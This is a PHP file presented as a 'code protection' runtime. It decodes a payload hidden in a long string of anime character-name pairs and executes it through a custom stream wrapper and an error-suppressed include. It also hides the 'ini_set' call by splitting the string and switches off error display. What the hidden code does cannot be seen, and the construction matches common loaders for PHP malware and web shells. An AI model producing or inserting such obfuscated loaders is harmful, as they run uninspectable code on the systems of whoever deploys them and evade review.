<?php
/*
 * ====================================================
 *  Sakura Code Protection Architecture v2.4
 *  Encrypted & Secured Runtime Environment
 * ====================================================
 */
$s='in'.'i_se'.'t';$s('display_errors','0');
class PirateStream{
  private $pos=0;
  public static $code="";
  public function stream_open($path,$mode,$options,&$opened_path){$this->pos=0;return true;}
  public function stream_read($count){
    $ret=substr(self::$code,$this->pos,$count);
    $this->pos+=strlen($ret);
    return $ret;
  }
  public function stream_eof(){return $this->pos>=strlen(self::$code);}
  public function stream_stat(){return [];}
  public function stream_set_option($option,$arg1,$arg2){return true;}
}
$treasure="zoro-usopp sabo-law zoro-kid kid-nami kid-nami chopper-franky luffy-luffy jinbe-kaido zoro-sanji kid-chopper zoro-robin kid-kid kid-robin ace-franky sanji-sabo robin-zoro luffy-robin kid-law nami-robin kid-law law-ace ace-luffy sanji-franky brook-brook sanji-shanks zoro-sabo law-kaido sabo-zoro kid-robin jinbe-law luffy-shanks jinbe-sabo sanji-sabo usopp-robin law-law kid-luffy law-shanks ace-usopp sanji-zoro jinbe-sanji usopp-brook nami-kaido luffy-sabo kid-zoro law-franky ace-jinbe luffy-ace jinbe-shanks sanji-sabo usopp-nami law-chopper shanks-chopper jinbe-nami chopper-shanks usopp-sabo robin-sanji usopp-law usopp-usopp zoro-kaido law-law kid-robin ace-luffy sanji-shanks jinbe-chopper sabo-sabo kid-nami nami-usopp ace-usopp kid-law ace-luffy sanji-nami sanji-sabo usopp-law usopp-usopp zoro-kaido law-law kid-robin ace-luffy sanji-shanks jinbe-chopper usopp-robin nami-usopp nami-robin kid-usopp kid-chopper ace-shanks sanji-sabo sanji-sabo sabo-kid nami-zoro nami-usopp kid-kaido law-kid jinbe-robin sanji-chopper jinbe-chopper sanji-luffy usopp-nami law-chopper ace-usopp jinbe-shanks shanks-nami luffy-luffy brook-ace usopp-sabo sabo-shanks zoro-zoro kid-sabo kid-sanji ace-usopp usopp-shanks jinbe-luffy sanji-chopper nami-franky nami-nami ace-nami jinbe-robin ace-kaido luffy-chopper robin-nami usopp-ace usopp-usopp nami-luffy kid-robin law-zoro ace-ace sanji-zoro jinbe-shanks sanji-robin nami-kid nami-nami ace-nami jinbe-robin jinbe-ace sanji-sanji chopper-usopp zoro-ace zoro-usopp luffy-luffy kaido-robin kaido-zoro brook-franky usopp-luffy brook-robin nami-jinbe luffy-usopp luffy-nami kaido-sabo kaido-sanji brook-chopper usopp-luffy franky-jinbe zoro-brook luffy-kaido luffy-zoro kaido-luffy shanks-franky brook-jinbe luffy-brook chopper-brook luffy-luffy sabo-jinbe zoro-zoro kid-sabo kid-sanji ace-usopp usopp-shanks jinbe-ace usopp-kaido usopp-nami zoro-law kid-ace kid-robin chopper-sabo luffy-luffy brook-ace usopp-sabo kid-ace sabo-zoro kaido-sabo kaido-sanji brook-usopp nami-shanks franky-franky nami-shanks zoro-law luffy-zoro kaido-law shanks-kid jinbe-robin usopp-nami robin-kaido nami-jinbe luffy-franky sabo-sanji law-usopp kaido-nami franky-kaido nami-zoro franky-jinbe luffy-usopp kid-kid law-franky shanks-chopper jinbe-robin ace-jinbe zoro-jinbe brook-ace sanji-kaido usopp-luffy zoro-ace law-jinbe law-franky ace-sabo sanji-zoro brook-ace sabo-sabo kid-nami zoro-zoro kid-nami jinbe-shanks franky-nami usopp-sabo jinbe-kaido sanji-jinbe nami-ace luffy-law law-law law-kid ace-robin sanji-sabo brook-kaido sabo-sabo kid-nami zoro-zoro kid-nami jinbe-shanks franky-nami sanji-chopper brook-law sabo-sabo kid-nami nami-luffy ace-usopp kid-sanji jinbe-kaido chopper-luffy jinbe-kaido sanji-jinbe nami-kaido kaido-kid jinbe-kid kid-sanji franky-nami chopper-jinbe jinbe-luffy usopp-law kid-robin zoro-franky kid-brook law-shanks jinbe-robin sanji-usopp brook-kaido sanji-shanks kid-robin law-chopper law-shanks law-kid ace-usopp sanji-shanks jinbe-kid usopp-robin usopp-usopp nami-luffy kid-robin law-zoro jinbe-law sanji-shanks jinbe-franky usopp-kaido nami-kaido law-chopper ace-usopp jinbe-shanks shanks-nami luffy-luffy jinbe-jinbe zoro-sanji sabo-kid zoro-sanji kid-usopp law-kid jinbe-kaido usopp-shanks brook-kid usopp-kaido usopp-nami luffy-law law-law kid-zoro ace-chopper chopper-luffy brook-kaido sanji-chopper usopp-nami nami-zoro ace-nami jinbe-robin ace-kaido luffy-chopper robin-nami sanji-luffy nami-sanji law-robin jinbe-kid kid-sanji robin-luffy sanji-kid brook-kaido sanji-shanks usopp-usopp nami-luffy kid-brook jinbe-nami chopper-shanks sanji-kid robin-nami chopper-sanji kid-nami zoro-kid shanks-franky kid-nami jinbe-brook sanji-kid jinbe-ace usopp-kaido zoro-law nami-usopp kid-kaido law-kid chopper-sabo luffy-luffy jinbe-kaido luffy-luffy sabo-jinbe law-nami kid-law ace-sabo franky-franky sanji-nami jinbe-ace sanji-robin nami-zoro zoro-jinbe kid-jinbe kid-nami jinbe-kaido sanji-ace sanji-sabo sabo-sabo kid-nami zoro-kid law-chopper jinbe-jinbe ace-ace usopp-sabo brook-sabo usopp-kaido nami-shanks zoro-usopp ace-zoro kaido-sabo franky-sanji zoro-jinbe sanji-kid usopp-sabo usopp-nami nami-nami kid-ace kid-chopper chopper-kid zoro-shanks sanji-kid sanji-ace usopp-zoro zoro-ace shanks-sanji ace-zoro robin-robin luffy-usopp robin-zoro sabo-kid kid-chopper law-franky ace-brook jinbe-robin ace-franky usopp-franky sanji-kid usopp-sabo nami-law nami-zoro kid-kid jinbe-jinbe jinbe-sanji luffy-brook sanji-sabo sabo-shanks nami-kid luffy-jinbe ace-zoro kid-chopper jinbe-ace sanji-sanji brook-kaido sanji-sanji nami-usopp law-chopper law-franky ace-sabo franky-sanji luffy-usopp brook-sabo sanji-shanks usopp-nami zoro-kid kid-law jinbe-jinbe franky-robin zoro-luffy chopper-shanks luffy-ace sabo-brook kid-robin ace-ace jinbe-shanks robin-usopp luffy-luffy brook-kaido luffy-usopp kid-nami zoro-kaido ace-robin ace-franky robin-luffy zoro-franky jinbe-luffy usopp-law kid-robin law-nami kid-law jinbe-shanks shanks-nami sanji-nami jinbe-kid sanji-jinbe nami-franky nami-nami law-sabo jinbe-ace chopper-shanks sanji-sabo chopper-usopp sabo-jinbe luffy-chopper sabo-usopp kaido-kid jinbe-nami chopper-jinbe luffy-ace sanji-sabo sabo-shanks nami-kid luffy-jinbe ace-zoro kid-nami jinbe-brook chopper-luffy brook-sabo sabo-kid zoro-shanks kid-law shanks-jinbe jinbe-jinbe robin-robin luffy-usopp chopper-luffy luffy-chopper kid-luffy kaido-kid kaido-nami kaido-robin brook-shanks nami-kaido chopper-robin luffy-brook kid-kaido law-sabo law-robin kid-sanji jinbe-usopp sanji-ace robin-sabo sanji-robin usopp-zoro nami-nami shanks-sanji jinbe-nami chopper-jinbe luffy-ace sanji-shanks sanji-franky zoro-jinbe law-chopper kid-nami kid-zoro ace-ace chopper-luffy sanji-kid usopp-sanji kid-kaido law-luffy law-robin kid-sanji jinbe-usopp sanji-ace robin-ace sanji-robin nami-kaido zoro-kaido law-sabo law-chopper ace-shanks sanji-chopper jinbe-robin sanji-chopper sabo-brook kaido-kid shanks-law law-kid ace-robin sanji-sabo brook-kaido usopp-usopp usopp-luffy luffy-ace kid-brook kaido-kid ace-jinbe usopp-brook jinbe-chopper sabo-jinbe kid-franky kid-jinbe jinbe-kid kid-sanji franky-sanji luffy-usopp sanji-kid zoro-nami usopp-chopper zoro-robin kid-usopp law-kid jinbe-kaido luffy-sanji sanji-brook usopp-law nami-usopp zoro-law kid-luffy jinbe-ace chopper-shanks sanji-sabo chopper-luffy luffy-luffy usopp-jinbe law-nami kid-kaido ace-luffy franky-sanji sanji-nami brook-kid usopp-kaido usopp-nami nami-zoro ace-nami jinbe-robin ace-ace luffy-brook chopper-brook luffy-franky sabo-luffy kid-nami ace-usopp ace-law shanks-sanji sanji-nami brook-ace sanji-usopp nami-law nami-zoro law-sabo jinbe-ace chopper-shanks sanji-sabo chopper-luffy zoro-nami usopp-luffy zoro-usopp kid-kid kid-franky ace-jinbe sanji-ace sanji-franky sanji-ace usopp-usopp zoro-luffy kid-law kid-robin ace-jinbe luffy-sanji sanji-shanks sanji-jinbe kid-ace nami-zoro kid-kid kid-sanji ace-franky sanji-shanks jinbe-ace sabo-sabo kid-nami nami-luffy ace-robin jinbe-sanji jinbe-usopp sanji-kid brook-usopp sanji-chopper zoro-ace nami-luffy law-robin kid-luffy chopper-jinbe luffy-chopper chopper-nami luffy-shanks kid-franky kid-jinbe sabo-franky kid-sanji jinbe-kaido chopper-luffy jinbe-kaido sanji-jinbe nami-kaido kaido-kid ace-ace ace-law shanks-sanji zoro-franky sanji-franky sabo-shanks nami-kid kid-shanks jinbe-kid law-chopper chopper-sabo luffy-luffy jinbe-kaido luffy-luffy sabo-jinbe kaido-kid kid-usopp law-brook chopper-sabo luffy-luffy jinbe-franky luffy-luffy usopp-jinbe nami-zoro kid-nami law-shanks ace-chopper sanji-shanks brook-jinbe sanji-luffy zoro-law zoro-usopp sabo-luffy law-usopp ace-usopp luffy-sanji sanji-kid zoro-robin sabo-kaido law-chopper ace-brook jinbe-robin ace-franky luffy-chopper robin-nami chopper-sanji";
$haki=[215,190,174,122,114,55,220,39];
$crew_map=["luffy"=>0,"zoro"=>1,"nami"=>2,"usopp"=>3,"sanji"=>4,"chopper"=>5,"robin"=>6,"franky"=>7,"brook"=>8,"jinbe"=>9,"ace"=>10,"shanks"=>11,"kaido"=>12,"law"=>13,"kid"=>14,"sabo"=>15];
preg_match_all("/[a-z]+/i",$treasure,$nakama);
$nakama=$nakama[0];
$crew_bytes=[];
$bounty=count($haki);
$nakama_count=count($nakama);
for($i=0;$i<$nakama_count;$i+=2){
  $east=$crew_map[$nakama[$i]];
  $blue=$crew_map[$nakama[$i+1]];
  $pirate=($east<<4)|$blue;
  $gear=($i>>1)%$bounty;
  $crew_bytes[]=($pirate-$haki[$gear]+256)%256;
}
$code=pack("C*",...$crew_bytes);
$tokens=token_get_all($code);
$code="";
$file_path=__FILE__;
$dir_path=dirname($file_path);
foreach($tokens as $t){
  if(is_array($t)){
    $id=$t[0];$text=$t[1];
    if($id===T_FILE){$code.="'".addslashes($file_path)."'";}
    elseif($id===T_DIR){$code.="'".addslashes($dir_path)."'";}
    else{$code.=$text;}
  }else{$code.=$t;}
}
PirateStream::$code=$code;
stream_wrapper_register("haki","PirateStream");
if(!function_exists('shinobi_eval')){
  function shinobi_eval($c){
    if(substr(trim($c),0,2)==='?>'){$c=substr(trim($c),2);}
    $c=preg_replace('/^\s*(\xEF\xBB\xBF)?<\?(php|=)?/i','<?$2',ltrim($c));
    $t=token_get_all($c);$p="";$f=__FILE__;$d=dirname($f);
    foreach($t as $x){
      if(is_array($x)){
        $id=$x[0];$text=$x[1];
        if($id===T_FILE){$p.="'".addslashes($f)."'";}
        elseif($id===T_DIR){$p.="'".addslashes($d)."'";}
        else{$p.=$text;}
      }else{$p.=$x;}
    }
    PirateStream::$code=$p;
    @include "haki://nested_exec";
  }
}
@include "haki://exec";